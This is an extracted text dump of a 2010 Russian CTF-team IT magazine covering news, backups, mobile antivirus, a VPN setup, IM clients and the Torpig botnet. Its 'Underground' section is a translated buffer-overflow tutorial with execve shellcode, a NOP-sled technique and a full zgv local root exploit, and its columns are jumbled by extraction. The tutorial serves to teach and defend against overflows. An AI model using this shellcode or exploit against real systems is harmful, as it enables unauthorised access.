UFOlogists Magazine 01 (January 2010)

554 views

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
554
On SlideShare
0
From Embeds
0
Number of Embeds
88
Actions
Shares
0
Downloads
0
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

UFOlogists Magazine 01 (January 2010)

  1. 1. UFOlogistics v.1.010209 Magazine B a c kU P ! Б у д ь г о т о в к о в с ем у !
  2. 2. В этом номере: NewsBlock : Новости ИТ-Мира и не только. 3 BackUP : создание резервной копии фалов в Linux и Windows OS. 4 Security&Life : защита портативных устройств.(часть 1) 5 Все гениальное просто: создание роутера на базе ubuntu 9.04 server. 6 Underground:BufferOverflow все что Вы хотели знать, но боялись спросить. 7 SoftReview: Обзор клиентов для общения (IM) 15 CaptureTheFlag!: все что мы видели на последних соревнованиях iCTF.А именно, великие и ужасные ботнеты. 16 2
  3. 3. NewsBlock Просто плеер. То чего так долго ждали сетевые меломаны свершилось! В сети появился сайт http://prostopleer.com/ содержащий невероятное количество музыки. Структура сайта проста и понятна: плеер+поиск композиций еще есть возможность создавать и скачивать(!) плей-листы. Так же можно прослушать уже готовые, например получив ссылку или используя меню TOP. GoogleOS.12 апреля 2010? Компания google в пресс-релизе 19 ноября 2009 года, заявила о том, что в начале 2010 запустит в продажу ноутбуки уже с предустановленной системой GoogleOS, но как стало известно в начале этого года система для скачивания будет доступна не ранее 12 апреля. Учитывая то, что GOS построен на основе ubuntu можно предположить, что google хочет выпустить систему на базе свежей версии 10.04. Ноутбуки с GoogleOS в продаже появятся лишь к середине этого года, как заявил Sundar Pichai "Наша цель- запустить Chrome OS как очень открытый проект и мы будем работать с максимальным количеством партнеров". Возвращение стриммеров!Или 35 ТБ на магнитной катушке. Эта новость взволновала наверно все ИТ-сообщество,а пришла она из исследовательской лаборатории IBM в Цюрихе. Инжинерам IBM и специалистам Fujifilm удалось достигнуть поверхностной плотности записи данных на магнитную ленту до 29.5 Гбит на один квадратный дюйм. Получилось это благодаря, разработанной Fujifilm, магнитной ленте "Nanocubic" с покрытием из наночастиц феррита бария. Итак, благодаря данной технологии, емкость стандартных кассет может вырасти до 35 ТБ! 3
  4. 4. BackUP Как часто вы теряли, по той или иной причине, важные данные?! Я, так, не раз, и очень огорчался что вовремя не сделал резервную копию. RAID-1 это, конечно, хорошо, но это полезно лишь в том случае если у вас свыше 100гб "важной" информации. Вручну копировать на какой-нибудь внешний накопитель(жесткий или даже сервер) тоже не дело. Итак, наша задача найти некую утилиту или сервис который будет автоматический создавать backup указанных нами файлов.а может и всей системы. BackUP в стиле Linux BackUP в Windows Итак, посмотрим, чем могут помочь Microsoft тоже позаботилась о нам *nix системы в решении сохранности данных своих поставленной задачи. пользователей. Например в Windows XP, есть Мастер Первый способ это решение влоб, Архивации данных(Пуск-Все просто-напросто заархивировать всю программы-Стандартные-Служебные- систему, автоматизировать это можно с Архивация Данных) помощью bash-скрипта, который будет делать следующие $ sudo mkdir /media/<your_disk> //Создаем папку на внешнем носителе $ cd /media/<your_disk> $ dd if=/dev/sda1 | gzip > root_fs.img.gz //снимаем образ и архивируем его. А, что если у нас нет еще одного накопителя? Тогда на помощь может придти сервис от canonical, под названием UbuntuOne. Думаю, все счастливые обладатели Ubuntu Karmic заметили это Интерфейс его прост и интуитивно облачко в области уведомлений. Что бы понятен.В Vista7even был обновлен и забэкапить некоторые файлы нужно их добавилась функция сохранения положить в папку ~/username/Ubuntu архива в сети. one и перед этим зарегистрироваться в самом сервисе http://one.ubuntu.com. Вначале вам будет доступно бесплатно 2 гб(что, по сути достаточно для документов) которые вы можете увеличить до 50гб(~вся система), но уже за 10$ в месяц. Сервис не требует более никаких ваших вмешательств, все происходит автоматически. И еще вы можете ограничивать скорость синхронизации, что, несомненно, достаточно удобно. Для пользователей *nix ос отличной от В попытке найти хоть какой-нибудь ubuntu, все выше описанные функции адекватный он-лайн сервис нашел ubuntu one и стоимость повторяет Norton BackUP, но по сравнению с сервис dropbox (getdropbox.com). ubuntu onedropbox он достаточно дорог, место-25гб,цена за год=1749 руб 4
  5. 5. Security&Life Сегодня какое-нибудь портативное устройство есть даже у школьника. Действительно, это очень удобно, особенно если это коммуникатор или наладонник- компьютер в кармане. Можно делать записи, пометки "на ходу". Но так же помимо наслаждения технологиями 21 века не стоит забывать о злоумышленниках, которым возможно нужны ваши личные данные или просто забавы ради захотят их повердить.В этой статье рассмотрим как обезопасить карманного друга и всю хранящуюся в нем информацию. Начнем с антивирусов. И я сразу хочу развеять Следующий, Dr.Web недавний, очень популярный, слух, что вирусы могут жить в обычном телефоне. НЕТ, НЕТ и еще раз НЕТ.Этого не может быть по одной просто причине, там нет RAM. Единственно, что может представлять угрозу это вам неизвестное приложение которое после того как вы(!) его запустили(!) куда хочет отправить смс(телефон сам оповестит вас об этом). А вот на кмк и кпк всяка живность явление распространенное... Тестируемая версия: 5.00.2 На сегодняшний день на рынке не так уж много Требования:Windows Mobile 2003/2003 мобильных антивирусов, рассмотрим 3 самых SE/5.0/6.0/6.1. популярных: Сайт:www.drweb.ru Kaspersky, Dr.WEB, Nod Mobile. Устройство: Gsmart MW700(64 RAM,CPU Все они по большей части схожи, единственно 512 MHz) NOD категорически отказывается анализировать Объем сканируемого пространства: ~4256Mb файлы типа autorun.inf. Поэтому его отбросим Время проверки: - сразу, нам все-таки нужен полноценный Доп. функции: нет. антивирус. Ошибки: не смог подключиться к серверу Итак, Kaspersky Mobile security для полученя демо-ключа. Собственно, тест Dr.Web сорвался из-за того, что он не смог вытянуть демо-ключ, как можно проверить работоспособность данного антивируса, не известно. ИТОГО Ну чтож, похоже, что ниша антивирусных утилит для карманных устройств пустует. И Тестируемая версия: 8.0.0.75 на сегодняшний день лидером является Требования:Symbian(9.1-9.3 Series60 Nokia Kaspersky. Антивирус отработал как часы и only ) или WindowsMobile(5-6.1) достаточно быстро, плюс имеет достаточно Сайт:www.kaspersky.ru нужные дополнительные функции а-ля все-в- Устройство: Gsmart MW700(64 RAM,CPU одном. 512 MHz) Оценка "Отлично". Объем сканируемого пространства: ~4256Mb Время проверки:11м11с Доп. функции: Анти-Вор, Шифрование, Анти-Спам, Родительский контроль, Сетевой Экран. Ошибки: нет 5
  6. 6. В с е г ен и а л ь н о е п р о с т о В этой статье рассказывается насколько просто и быстро можно сделать VPN на базе Ubuntu 9.04 Сначала ставим демон pptpd И если возникают проблеммы с $ sudo aptitude install pptpd открытием сайтов, нужно в /etc/rc.local добавить еще одну строчку Затем редактируем его конфиг-файл /etc/pptpd.conf localip 192.168.1.1 - адрес vpn-сервера iptables -A FORWARD -p tcp -tcp-flags remoteip 192.168.1.10-254 - диапазон SYN,RST SYN - j TCPMSS -set-mss 128 выделяемых IP-адресов Редактируем /etc/ppp/chap-secrets # client server secret IP addresses user pptpd pass 192.168.1.0/24 Так же, что бы выдавался правильный DNS, нужно в /etc/ppp/options прописать адрес сервера ms-dns 192.168.10.1 Перезапускаем демон pptpd $ sudo /etc/init.d/pptpd restart Что бы не терять настройки при сбоях в /etc/rc.local пишем следующее echo 1 > /proc/sys/met/ipv4/ip_forward и говорим iptables, о NAT iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o eth0 -j MASQUERADE т.е. то, что стучится от 192.168.1.x направляем на интерфейс который смотрит в интернет. И завершающий этап, если вы при установке не выбирали пакеты DNS- сервера, то следует поставить dnsmasq $ sudo aptitude install dnsmasq затем в файле /etc/dnsmasq.confпишем, что б он слушал интерфейс который смотрит в сеть, т.е. адрес 192.168.1.1 listen-address=192.168.1.1 $ sudo /etc/init.d/dnsmasq restart 6
  7. 7. Underground BufferOverflow. По-русски "Переполнение буфера". Наверно многие слышали, но не каждый знает как это выглядит и что еще интересней-как сделать переполнение. Статья посвящена как раз этим вопросам а-ля "Все, что вы хотели знать, но боялись спросить". Итак, приступим-с... SIMPLE в дальнейшем может к ней обратиться Постараюсь показать на простом даже не имея понятия о ее физическом примере, как вызывается расположении в RAM. Страница переполнение. Допустим есть у нас памяти процесса(программы) состоит некая консольная программа, которая из 3х сегментов: выводит "Please enter your name" и code segment: данные в этом сегменте строчку куда нужно ввести имя, мы представляют собой ассемблерные знаем, что эти значения будут куда-то инструкции, которые выполняет сохранятся и если программист процессор. Выполнение кода поставил небольшой размер буфера, то нелинейно, т.к. процессор может мы без труда можем его переполнить пропускать код, "перепрыгивать" его и введя n-количество символов нажав выполнять функции при определенных Enter. И мы получим сообщение, типа условиях, таким образом, у нас есть "k-символов" command not found. Это указатель, называемый EIP - указатель означает, что до этих "k" программа на текущую инструкцию. Адрес, на работала верно, а потом символы который указывает EIP всегда вылезли из буффера. содержит код следующей Теперь отсчитываем n-k и пишем, к выполняемой инструкции. примеру, "cd /", после этого мы data segment: область переменных и попадаем в корневую директорию динамических буфферов. linux. Это называется выполнение stack segment: используется как для произвольного кода, т.е. таким передачи данных (аргуменотов) нехитрым ходом можно получить функциям, так и в качестве области доступ к чужим данным, это особенно для переменных самих функций. Низ актуально, если вы работаете с стэка (его начало) обычно расположен уязвимой программой удаленно. в самом конце виртуальной памяти страницы. Стек растет опускаясь вниз. А теперь серьезно... Ассемблерная команда PUSHL Если вы хотите обезопасить свои добавляет значение в верхушку стека, данные от таких атак, нужно понять а POPL забирает одно значение с как это работает, для этого нужны хотя верхушки стека. Для доступа к памяти бы базовые знания языка Assembler. стека напрямую имеется указатель, Примеры показанные в данной статье который указывает на верхушку будут работать на архитектуре x86. (самые нижние адреса памяти) стека. Давайте обратимся к организации В бой! памяти, чтобы понять, как и где может 1.Предположим, что мы хотим найти произойти ошибка переполнения уязвимость вот в этой функции буфера. void lame (void) { char small[30]; gets Страница памяти-это область памяти, (small); printf("%sn", small); } которая использует свою собственную main() { lame (); return 0; } относительную адресацию, компилируем и дизассемблируем ее: обозначающая то, что Кернел выделяет # cc -ggdb blah.c -o blah инициализируемую память для /tmp/cca017401.o: вфункции `lame': текущего процесса, который /root/blah.c:1: си-шная функция `gets' 7
  8. 8. Underground опасна и к ней не следует обращаться. 0x80484af <lame+15>: addl$0x4,%esp # gdb blah /* загружаем адрес small и адрес /* краткое объяснение: здесь строки "%sn" в стек и затем применяется gdb, GNU дебаггер для вызывает функцию print: printf("%sn", ч те н и я small); */ бинарника иего дизассемблирования 0x80484b2 (перевода байтов в ассемблерный <lame+18>:leal0xffffffe0(%ebp),%eax код) */ 0x80484b5 <lame+21>:pushl%eax (gdb) disas main 0x80484b6 <lame+22>: pushl$0x804852c Ассемблерный дамп функции main: 0x80484bb <lame+27>:call 0x80483dc 0x80484c8 <main>:pushl%ebp <printf> 0x80484c9 <main+1>:movl%esp,%ebp 0x80484c0 <lame+32>:addl $0x8,%esp 0x80484cb <main+3>:call0x80484a0 <lame> /* берем адрес возврата 0x80484d0 со 0x80484d0 <main+8>:leave стека и передаем управление 0x80484d1 <main+9>:ret на этот адрес*/ (gdb) disas lame Ассемблерный дамп функции lame: 0x80484c3 <lame+35>:leave /* сохраняем фрейм пойнтер в стеке 0x80484c4 <lame+36>:ret прямо перед адресом возврата */ 2. Осуществление ошибки 0x80484a0 <lame>:pushl%ebp переполнения в программе. Для 0x80484a1 <lame+1>:movl%esp,%ebp анализа нам понадобиться gdb(nix) /* увеличиваем стек на 20h (32d). наш или ollydbg. буффер - 30 символов, но память # ./blah выделяется с 4хбайтным xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<- выравниванием (т.к. процессор ввод пользователя использует xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 32хбитные слова) это эквивалентно # ./blah строчке char small[30]; */ xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 0x80484a3 <lame+3>:subl$0x20,%esp x <- ввод пользователя /* загружаем указатель на small[30] xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (пространство стека, которое x расположено в виртуальном Segmentation fault (core dumped) адресе0xffffffe0(%ebp)) стека, и # gdb blah core вызываем функцию gets: gets(small); */ (gdb) info registers 0x80484a6 eax:0x2436 <lame+6>:leal0xffffffe0(%ebp),%eax ecx:0x804852f134513967 0x80484a9 <lame+9>:pushl%eax edx:0x11 0x80484aa <lame+10>:call0x80483ec ebx: 0x11a3c81156040 <gets> esp: 0xbffffdb8 -1073742408 8
  9. 9. Underground ebp:0x7878787895160 Программа пробежала по функции ^^^^^^ дважды. Если переполнение В EBP находится адрес 0x787878, это произошло, адрес возврата из функции значит что мы записали больше данных может быть изменен для того чтобы в стек, чем буффер ввода мог вмещать. изменить ветку выполнения 0x78 - это шестнадцатеричное программы. представление символа 'x'. Программа 4. Шеллкод. имела буффер с ограничением в 32 Говоря простым языком, шеллкод - это байта. Мы же записали больше данных набор простых ассемблерных команд, в память чем было выделено для ввода которые мы записываем в стек и затем юзера и ,таким образом, перезаписали изменяем на него адрес возврата. EBP и адрес возврата символами 'xxxx'. Применяя этот метод мы можем Программа попыталась возвратиться на вставить свой код в уязвимую адрес 0x787878, что, конечно же, программу и затем выполнить его привело к ошибке сегментации. прямо из стека. 3. Изменение адреса возврата Хм, так давайте сгенерируем Давайте попробуем сделать так, чтобы вставляемый ассемблерный код для программа возвратилась в функцию запуска шелла. Главный системный lame() вместо своего return'а. Для этого вызов - это execve(), который нам нужно поменять адрес возврата с загружает и запускает любые 0x80484d0 на 0x80484cb и это все. В бинарники, завершает выполнение памяти у нас есть: 32 байта для текущего процесса. В мане находим буффера | 4 байта под сохраненный пример его использования: EBP | 4 байта RET. intexecve(constchar*filename, char Вот пример простой программы, *const argv [], char *const envp[]); которая помещает четырехбайтный Давайте поподробней посмотрим на адрес возврата в однобайтный буффер: системный вызов из glibc2: main() # gdb /lib/libc.so.6 {int i=0; char buf[44]; (gdb) disas execve for (i=0;i<=40;i+=4) Дамп функции execve: *(long *) &buf[i] = 0x80484cb; 0x5da00 <execve>:pushl%ebx puts(buf); /*это актуальный syscall. перед } обращения программы к execve, # re t он сохраняет в стеке аргументы в ЛЛЛЛЛЛЛЛЛЛЛ, обратном порядке: # (ret;cat)|./blah **envp, **argv, *filename */ test<- вводим /* кладём адрес **envp в edx */ ЛЛЛЛЛЛЛЛЛЛЛ,test 0x5da01 test<- вводим <execve+1>:movl0x10(%esp,1),%edx t e st /* кладём адрес **argv в ecx */ 9
  10. 10. Underground 0x5da05 0jmp <Z>(пропустим Z bytes по <execve+5>:movl0xc(%esp,1),%ecx направлению вперед) /* кладём адрес *filename'а в ebx */ 2popl %esi 0x5da09 ... впишем сюда нашу(и) функцию(и) ... <execve+9>:movl0x8(%esp,1),%ebx Zcall <-Z+2> (вернемся на 2 байта /* кладём 0xb в eax; 0xb == execve в после <Z>, к инструкции POPL) внутреннем вызове таблицы вызова */ Z+5 .string(первая переменная) 0x5da0d <execve+13>:movl $0xb,%eax (Учтите: Если вы собираетесь писать /* отдаем контроль кернелу для код более сложный чем код для выполнения инструкции execve */ получения шелла, вам следует 0x5da12 <execve+18>: int $0x80 передать больше чем одну переменную 0x5da14 <execve+20>:popl %ebx .string после кода. Вы знаете размер 0x5da15 этих строк и вы таким образом можете <execve+21>:cmpl$0xfffff001,%eax вычислить их относительное 0x5da1a <execve+26>:jae 0x5da1d расположение после того как вы <__syscall_error> узнаете где находится первая строчка.) 0x5da1c <execve+28>:ret 6. шеллкод –2 конец дампа global code_start/* нам понадобится это 5. Портируемость кода чуть позже */ Мы можем применить пару хитростей global code_end чтобы сделать наш шеллкод не .data ссылаясь на аргументы в памяти как code_start: обычно, передавая их точные адреса в jmp0x17 странице памяти, которые могут быть %esi получены только во время компиляции. %esi,0x8(%esi)/* положим адрес **argv Единственное, что мы можем оценить - после шеллкода это размер шеллкода. Для этого мы на 0x8 байт, чтобы сохранить /bin/sh */ можем обратиться к инструкциям jmp %eax,%eax/* помещаем 0 в %eax */ <bytes> и call <bytes> чтобы перейти к %eax,0x7(%esi)/* помещаем определенному числу байтов назад или 'завершающий' 0 после '/bin/sh' вперед в исполняемом процессе строчки */ (программе). Зачем использовать call? movl %eax,0xc(%esi)/* другой 0 для Вспомните, что CALL автоматически получения размера long word */ сохраняет адрес возврата в стеке; my_execve: адресом возврата являются следующие movb $0xb,%al/* execve(*/ 4 байта после самой инструкции CALL. %esi,%ebx/* "/bin/sh",*/ Помещая переменную прямо за 0x8(%esi),%ecx/* & of "/bin/sh", */ CALL'ом, мы не напрямую сохраняем %edx,%edx/* NULL*/ ее адрес в стеке даже не зная его. $0x80/* );*/ -0x1c 10
  11. 11. Underground .string "/bin/shX" /* X перезаписан movb Теперь Вы можете конвертировать этот %eax,0x7(%esi) */ код в буффер 16иричных символов. code_end: Лучше всего сделать это, напечатав (Относительные смещения 0x17 и - что-то вроде этого: 0x1c можно получить при помощи #include <stdio.h> помещения в 0x0, компилирования, extern void code_start(); extern void дизассемблированием и определения code_end(); размера шеллкода.) main() { fprintf(stderr,"%s",code_start); } Это уже работающий шеллкод, хотя и и пропарсить это через aconv -h or минимальный. Вам следует по крайней bin2c.pl (эти тулзы можно взять мере продизассемблировать системный здесь:http://www.dec.net/~dhg or вызов exit() и присоединить его (перед http://members.tripod.com/mixtersecurity) 'call'ом). 7.Написание эксплойта Настоящее искусство написания Давайте взглянем на то, каким шеллкода также состоит в образом мы можем подменить адрес предотвращении попадания 'бинарных' возврата чтобы он указывал на наш нулей в код (очень часто применяемых шеллкод помещенный в стек и затем для обозначения завершения напишем пример эксплойта. Мы ввода/буффера) и модифицировании возьмем zgv, т.к. он - очень простая кода таким образом чтобы его бинарная штуковина, подверженная форма не содержала символы, которые эксплойтингу. :) могут быть отфильтрованы какими- # export HOME=`perl -e 'printf "a" x нибудь уязвимыми программами. 2000'` БОльшая часть этой работы # zgv выполняется самомодифицирующимся Segmentation fault (core dumped) кодом, похожим на тот, что был у нас в # gdb /usr/bin/zgv core инструкции movb %eax,0x7(%esi). Мы #0 0x61616161 in ?? () заместили X нашим 0 не имея его в (gdb) info register esp исходной форме шеллкода... esp: 0xbffff574 -1073744524 Давайте протестируем этот Чтож, это верхушка стека во время код...сохраните код выше как code.S крушения. Безопасно предположить, (убейте комментсы) и сл. файл как что мы можем использовать его в code.c: качестве адреса возврата на наш extern void code_start(); шеллкод. extern void code_end(); Мы добавим несколько NOP #include <stdio.h> инструкций перед нашим буффером, main() { ((void (*)(void)) code_start)(); } т.к. мы не можем полностью быть # cc -o code code.S code.c уверенными в 100%-ной корректности # ./code угадывания адреса точного начала bash# нашего шеллкода в памяти (или даже 11
  12. 12. Underground пробрутфорсив его). Функция "xebx17x5ex89x76x08x31xc0x88x возвратится в стековое пространство 46x07x89x46x0cxb0x0bx89xf3x8d куда-то после шеллкода, пробежится " поо NOP'ам к начальному JMP'у, "x4ex08x31xd2xcdx80xe8xe4xffxf прыгнет на CALL, прыгнет назад к fxffx2fx62x69x6ex2fx73x68x58"; POPL и запустит наш код в стеке. #define NOP 0x90 Помните что такое стек: нижние адреса #define LEN 1032 памяти, верхушка с указанием на нее #define RET 0xbffff574 ESP, начальные переменные и буфер в int main() zgv, который содержит переменную { HOME environment. char buffer[LEN]; После этого мы имеем сохраненный long retaddr = RET; EBP (4 байта) и адрес возврата int i; предыдущей инструкции. Мы должны fprintf(stderr,"using address записать 8 байт или больше после 0x%lxn",retaddr); буффера для того чтобы перезаписать /* this fills the whole buffer with the адрес возврата своим новым адресом в return address, see 3b) */ стеке. for (i=0;i<LEN;i+=4) Буффер у zgv - 1024 байта. Вы можете *(long *)&buffer[i] = retaddr; выяснить это глянув на код или просто /* this fills the initial buffer with NOP's, поискав начальную инструкцию subl 100 chars less than the $0x400,%esp (=1024) в уязвимой buffer size, so the shellcode and return функции. Сейчас мы соединим все эти address fits in comfortably */ части вместе: for (i=0;i<(LEN-strlen(shellcode)- 8. Sample zgv exploit 100);i++) /* zgv v3.0 exploit by Mixter *(buffer+i) = NOP; buffer overflow tutorial - /* after the end of the NOPs, we copy in http://1337.tsx.org the execve() shellcode */ memcpy(buffer+i,shellcode,strlen(shellco sample exploit, works for example de)); with precompiled /* export the variable, run zgv */ redhat 5.x/suse 5.x/redhat 6.x/slackware setenv("HOME", buffer, 1); 3.x linux binaries */ execlp("zgv","zgv",NULL); return 0; #include <stdio.h> } #include <unistd.h> /* EOF */ #include <stdlib.h> Теперь у нас есть строка вида: /* This is the minimal shellcode from the [ ... NOP NOP NOP NOP NOP JMP tutorial */ SHELLCODE CALL /bin/sh RET RET static char shellcode[]= RET RET RET RET ] 12
  13. 13. Underground указывает на указатель окружения В то время как стэк zgv'а выглядит так: v-- 0xbffff574 is here шелла, в котором расположен шеллкод [ S M A L L B U F F E R (вместо своего расположения в стеке). ] [SAVED EBP] [ORIGINAL RET] Выполняющаяся ветка zgv сейчас Другим важным предметом опытных выглядит так: писателей шеллкодов является main ... -> function() -> самомодифицирующийся код, который strcpy(smallbuffer,getenv("HOME")); изначально состоит только из В этом месте zgv падает и не делает печатных символов, заглавных букв и проверку на лимит, пишет за без пробелов и затем изменяет себя, SMALLBUFFER'ом и адрес возврата в вписывая в стек свой шеллкод, main перезаписывается адресом который он и запускает, итд. возврата в стэк. Функция function() возвращается и EIP теперь указывает Следите за тем, чтобы ваш шеллкод не на стэк: содержал 'бинарных' нулей, т.к. в ином 0xbffff574 nop случае в большинстве случаев он не 0xbffff575 nop будет работать. 0xbffff576 nop 0xbffff577 jmp $0x24 1 10.окончание 0xbffff579 popl %esi 3 < -- | Почему это так важно писать [... здесь стартует шеллкод ...] | | эксплойты? Потому что незнание 0xbffff59b call -$0x1c 2 < --/ всезнающе ('интересная мысль' - прим. 0xbffff59e .string "/bin/shX" переводчика) в индустрии софтвэйра. Протестируем эксплойт... Уже были представлены сообщения об # cc -o zgx zgx.c уязвимостях, приводящих к # ./zgx переполнению буфферов в ПО т.к. используемый адрес: 0xbffff574 софт не обновлялся или по причине bash# того, что большинство пользователей 9.советы по написанию эксплойтов не уделяло внимание этим апдейтам Существуют другие техники или по причине того, что уязвимость переполнения, которые необязательно было сложно обнаружить и мало кто включают изменение адреса возврата. понимал, что она представляет Также существуют так называемые большую проблему безопасности. переполнения указателей (pointer Если Вы - программер, то к своему overflows), в которых указатель, делу нужно относиться очень который находится в функции может серьезно, особенно при написании быть перезаписан, тем самым приводя программ-серверов, программ по к изменению логики программы безопасности, программ, (пример: the RoTShB bind 4.9 exploit), использующих suid root или эксплойты, в которых адрес возврата написанных для запуска с его 13
  14. 14. Underground привилегиями. Применяйте strn*, sn* функции вместо sprintf итд. Старайтесь применять размещение буфферов За представленный динамического или зависящего от ввода размера, будьте осторожны в материал, ©па©ибо: for/while/и др циклах, в которых (оригинал: Mixter) данные загоняются в буфферы и (перевод: varnie 25.01.05) относитесь к вводу пользователя с http://www.wasm.ru/article.php?article=buf_o наибольшей осторожностью. ver4noob В индустрии по безопасности были предприняты попытки предотвратить проблемы переполнения при помощи использования техник, таких как 'non- executable stack', 'suid wrappers', 'guard programms', которые проверяли адрес возврата, компилеров, проверяющих размер переданных аргументов итд. Вам следует использовать эти техники там где это возможно, но не стоит полностью на них полагаться. Если вы полагаете что вы в полной безопасности, сидя за 2хлетним UNIX дистрибутивом без апдейтов, но используя защиту от переполнения или (что более идиотски) файрвол/IDS, то все это не может уверить вас в полной безопасности. Если вы регулярно апдейтите софт, вы все еще не можете быть уверены в безопасности, но вы можете уже надеяться:-) 14
  15. 15. SoftReview IM Название: qutIM. OS: Windows, Linux, MacOS. Протоколы: ICQ, Jabber, MSN, IRC, Yandex, LiveJournal, Mail.ru. Плагины: Доступны на сайте или в репозитории. Дополнительная информация: Простой интерфейс с возможностью замены шкурок от других клиентов, множество разного рода плагинов. Web: www.qutim.org Название: Miranda. OS: Windows. Протоколы: AIM (AOL Instant Messenger, Gadu-Gadu, IAX (Inter- Asterisk Exchange), ICQ, IRC, Jabber, MSN, Netsend, Tlen, Yahoo ... Плагины: Доступны на сайте. Дополнительная информация: Популярный клиент в windows системах, кроме официальной имеет множество сторонних сборок. Web: www.miranda-im.org Название: Psi. OS: Windows, Linux, MacOS. Протоколы: Jabber Плагины: Нет. Дополнительная информация: Простой jabber-клиент, ничего лишнего. Достаточно стабилен. Web: www.psi-im.org Название: SIM. OS: Windows, Linux. Протоколы: ICQ, Jabber, GTalk, MSN, Yahoo. Плагины: Нет. Дополнительная информация: Простой мультипротокольный- клиент.Лишен x-статусов и подобных функций. Web: www.sim-im.org 15
  16. 16. CaptureTheFlag! iCTF->BotNet Google Ставится руткит Mebroot-идет закачка Гугля по теме, что же такое ботнет, драйвера ядра который подменяет наткнулся на интересную статью от disk.sys и затирает MBR. исследователей из университета После ребута Mebroot “University of California Santa Barbara” , подтягивает,через шифрованное которые перехватили контроль над соединение, модули, такие как torpig и ботнетом Torpig(вот почему был устанавливает их. «именно такой» CFT:) ). Torpig Далее уже torpig линкует свои dll в оказался достаточно серьезным services.exe, explorer.exe, а так же в ботнетом. Авторы утверждают что другие программы(IM-клиенты, E- Torpig это одно mail, FTP, браузеры). из самых продвинутых crimeware на сегодняшний день. У него самая Как бороться? лучшая программная архитектура, Необходимо понять как организуется самые остроумные способы воровства связь с сервером. А происходит это данных, самая лучшая топология следующим образом: обращение управления. Также Torpig наносит происходит не по IP-адресу, а по самый большой финансовый ущерб. статичному имени домена. Однако Оценка экономической эффективности Mebroor и Torpig генерируют $3-300 млн в год. Из упражнений доменные имена по специальному спамеров, ботнеты похоже становятся алгоритму, если домен заблокирован, серьёзным бизнесом. не отвечает на запросы по Как это работает? ботнетовскому протоколу или не Допустим у нас есть браузер который существует - генерируется следующие скачивает зараженный JavaScript, имя. Т.е. зная алгоритм, можно просто который, в свою очередь, линкует свою создать домен к которому подчинится библиотеку в explorer.exe используя ботнент. известные уязвимости. Далее работает Так и был "выловлен" torpig;) зараженный "проводник". 16
  17. 17. UFOlogistics Выпуск подготовил: Дмитрий Катаргин ([4Ex0FF]Fang) Как нас найти? Официальный сайт - www.ufoctf.ru Google группа - groups.google.ru/group/ufoctf2009 E-mail: UFOlogistics@ufoctf.ru Если у вас есть интересная статья, предложение по улучшению качества журнала, вопросы, пишите нам! Будем рады рассмотреть и ответить. Спасибо за внимание, оставайтесь с нами! С уважением, команда ufologistics. Журнал создан с помощью: ufologistics © 2010

×